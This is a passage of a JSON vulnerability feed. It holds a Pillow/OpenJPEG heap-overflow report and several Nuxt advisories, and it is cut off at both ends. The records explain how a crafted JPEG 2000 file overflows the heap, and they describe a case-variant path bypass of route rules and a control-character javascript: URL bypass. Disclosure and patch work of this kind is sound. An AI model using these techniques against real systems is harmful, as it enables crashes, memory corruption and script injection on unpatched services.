heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.\n\nI am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.\n\nNote the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.\n\n### Details\n\n## Affected wheels\n\nFrom `.github/dependencies.json` (`openjpeg`) at each tag:\n\n| Pillow | bundled OpenJPEG | status |\n|---|---|---|\n| 10.4.0 | 2.5.2 | safe |\n| 11.0.0 | 2.5.2 | safe |\n| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |\n| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |\n\nConfirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.\n\n## The defect\n\n`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:\n\n```c\nOPJ_UINT32 l_current_tile_part =\n l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno;\nl_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;\nl_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos =\n l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2;\n```\n\n`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.\n\nThe correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not.\n\nReached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation.\n\n## Patch status\n\nFixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10).\n\nThe newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.\n\n## Suggested remediation\n\n1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.\n2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.\n3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.\n\n## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply\n\n`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.\n\nI verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.\n\nThat is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.\n\n### Proof of concept\n\nASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:\n\n```\n==766332==ERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\n #0 opj_j2k_read_sod j2k.c:5086\n #1 opj_j2k_read_tile_header j2k.c:9912\n #2 opj_read_tile_header openjpeg.c:575\n #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793\n #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949\n #5 _decode src/decode.c:132\nlocated 8 bytes to the right of a 24-byte region allocated by\n opj_j2k_build_tp_index_from_tlm j2k.c:8939\n```\n\nFrames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.\n\nI have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.\n\nNo disclosure deadline from me; I will not publish anything while this is being worked on.\n\n### Impact\n\nAny application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.\n\n**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.\n\n**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls\n\nAffected package ranges reported by GitHub:\npillow: >= 11.1.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T17:01:08.000Z","updatedAt":"2026-10-22T17:01:19.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-78g4-xqwv-q3g8","asOf":"2026-10-22T17:01:19.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-78g4-xqwv-q3g8","url":"https://github.com/advisories/GHSA-78g4-xqwv-q3g8","type":"primary","publishedAt":"2026-10-22T17:01:08.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-78g4-xqwv-q3g8, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114132","cveId":"CVE-2026-114132","aliases":["GHSA-vjh5-4x84-xrqp"],"kind":"vulnerability","title":"Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive","summary":"With the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.\n\nEarlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server:","detail":"## Impact\n\nWith the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.\n\nEarlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server:\n\n- `redirect`: a rule used to send visitors away from a page, such as `'/admin/**': { redirect: '/login' }`, was skipped, and the page and its server-fetched data were rendered instead.\n- `headers`: per-route response headers, including security headers such as `Content-Security-Policy` or `X-Frame-Options`, were not sent.\n- `proxy`: the request was not proxied.\n- `ssr: false` and `noScripts`: the page was server-rendered, or shipped scripts, despite the rule.\n- `getRouteRules(event)` (auto-imported, or from `nuxt/server`) and `matchRouteRules` from `nuxt/server` returned no rules for the case variant.\n\n```ts\nexport default defineNuxtConfig({\n routeRules: {\n '/admin/**': { redirect: '/login' },\n },\n})\n```\n\nWith this configuration, `/admin/secret` redirects to `/login`, but `/Admin/secret` rendered `app/pages/admin/secret.vue`.\n\n## Mitigating factors\n\n- Applications that set `router.options.sensitive: true` in `nuxt.config` are not affected, because their pages are only served for the exact case of the route.\n- Access checks performed in server middleware, route middleware attached with `definePageMeta`, or in the page's data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path.\n\n## Affected versions\n\n`nuxt` `<4.6.2`, including all Nuxt 3 releases, and `@nuxt/nitro-server` `<4.6.2`.\n\n## Patches\n\nFixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.\n\nNuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless `router.options.sensitive` is set, and applies the result to Nitro's `redirect`, `headers` and `proxy` handling, the renderer, and the `getRouteRules` / `matchRouteRules` helpers.\n\nWhen routing is case-insensitive, patched releases change some behaviour:\n\n- Route rules also apply to case variants of server API routes. For example, `/API/x` now matches a `/api/**` `proxy` or `headers` rule.\n- Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence.\n\nThe following are not changed by this fix:\n\n- `cache` and `swr` response caching is attached to server routes by Nitro's router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached.\n- Rules that a deployment preset compiles into platform configuration (for example Vercel's `config.json` or Netlify's `_redirects` and `_headers`) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above.\n- If `sensitive` is set only in `app/router.options.ts`, the server follows the `nuxt.config` value. In that configuration route rules can only apply to more paths, never fewer.\n\n## Workarounds\n\nUpgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3:\n\n1. Set `router: { options: { sensitive: true } }` in `nuxt.config`, so pages are only served for the exact case of their route.\n2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a `redirect` route rule, and set security headers for every response rather than per route.\n\nAffected package ranges reported by GitHub:\nnuxt: >= 4.0.0, < 4.6.2\nnuxt: >= 3.0.0, < 4.0.0\n@nuxt/nitro-server: >= 4.2.0, < 4.6.2\n@nuxt/nitro-server: >= 3.20.0, < 4.0.0","action":"GitHub lists first patched versions: nuxt: 4.6.2; @nuxt/nitro-server: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:59:55.000Z","updatedAt":"2026-10-22T16:59:57.000Z","regions":["Global"],"vendor":null,"product":"nuxt, nuxt, @nuxt/nitro-server, @nuxt/nitro-server","stacks":["JavaScript packages (npm)","nuxt","@nuxt/nitro-server","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-vjh5-4x84-xrqp","asOf":"2026-10-22T16:59:57.000Z"},"epss":{"probability":0.00424,"percentile":0.36416,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vjh5-4x84-xrqp","url":"https://github.com/advisories/GHSA-vjh5-4x84-xrqp","type":"primary","publishedAt":"2026-10-22T16:59:55.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vjh5-4x84-xrqp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114133","cveId":"CVE-2026-114133","aliases":["GHSA-xfq5-w38q-pc2x"],"kind":"vulnerability","title":"Nuxt server islands render `useHeadSafe` input without sanitisation","summary":"`useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and `\n```\n\n- Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `.\n- Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected.","detail":"## Impact\n\n`useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and `\n```\n\n## Mitigating factors\n\n- Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `.\n- Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected.\n\n## Affected versions\n\n`nuxt` `>=3.13.0`, when head support for server islands was introduced. Nuxt 2 is not affected.\n\n## Patches\n\nFixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.\n\nPatched releases apply Unhead's safe input filtering to `useHeadSafe` entries on the server before they are added to the island response, so `islandResponse.head` (including what `render:island` hooks see) only contains input that `useHeadSafe` allows.\n\n## Workarounds\n\nUpgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3:\n\n1. Call `useHeadSafe` with untrusted input from a regular component or page rather than from inside a server island.\n2. Alternatively, validate untrusted head input against your own allowlist before passing it to `useHeadSafe` inside a server island.\n\nAffected package ranges reported by GitHub:\nnuxt: >= 3.13.0, < 4.6.2","action":"GitHub lists first patched versions: nuxt: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:58:00.000Z","updatedAt":"2026-10-22T16:58:02.000Z","regions":["Global"],"vendor":null,"product":"nuxt","stacks":["JavaScript packages (npm)","nuxt","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-xfq5-w38q-pc2x","asOf":"2026-10-22T16:58:02.000Z"},"epss":{"probability":0.0022,"percentile":0.12458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xfq5-w38q-pc2x","url":"https://github.com/advisories/GHSA-xfq5-w38q-pc2x","type":"primary","publishedAt":"2026-10-22T16:58:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xfq5-w38q-pc2x, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114130","cveId":"CVE-2026-114130","aliases":["GHSA-jjm6-p2m9-9w4x"],"kind":"vulnerability","title":"Nuxt: Incomplete fix for GHSA-934w-87qh-qr26: a `javascript:` URL prefixed with an ASCII control character executes from `<NuxtLink>` when `pages` is disabled","summary":"An application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked.\n\nThis is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected.","detail":"## Impact\n\nAn application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked.\n\nThis is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected.\n\nPrefixing `javascript:` with an ASCII C0 control character, for example `%01`, meant the value was not recognised as having a protocol. It was classified as an internal route and so never reached the protocol check added in GHSA-934w-87qh-qr26, and the router used for `pages: false` passed it through to the rendered `href` unchanged. Browsers strip the leading control character and run the result as a script URL.\n\nBoth ` ` and the default anchor are affected, and the `href` is present in the server-rendered HTML.\n\n## Mitigating factors\n\n- The application must have `pages` disabled (no `pages/` directory, or `pages: false`).\n- The application must bind untrusted input to `:to`.\n- A victim must click the rendered link.\n\n## Affected versions\n\n`nuxt` `<4.6.0`, including all Nuxt 3 releases. Versions before `4.4.7` and `3.21.7` are also affected by GHSA-934w-87qh-qr26.\n\n## Patches\n\nFixed in `nuxt@4.6.0`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.\n\nAnchor `href` values are now checked for script-capable protocols wherever they are rendered, including the router used when `pages` is disabled. Protocol detection also moved to the platform `URL` parser, so a URL is classified the same way the browser will read it.\n\n## Workarounds\n\nUpgrade to `nuxt@4.6.0` or later. If you cannot upgrade, including on Nuxt 3, validate values before binding them to `:to`, for example by rejecting anything that is not a path beginning with a single `/`.\n\nAffected package ranges reported by GitHub:\nnuxt: < 4.6.0","action":"GitHub lists first patched versions: nuxt: 4.6.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:51:37.000Z","updatedAt":"2026-10-22T16:51:39.000Z","regions":["Global"],"vendor":null,"product":"nuxt","stacks":["JavaScript packages 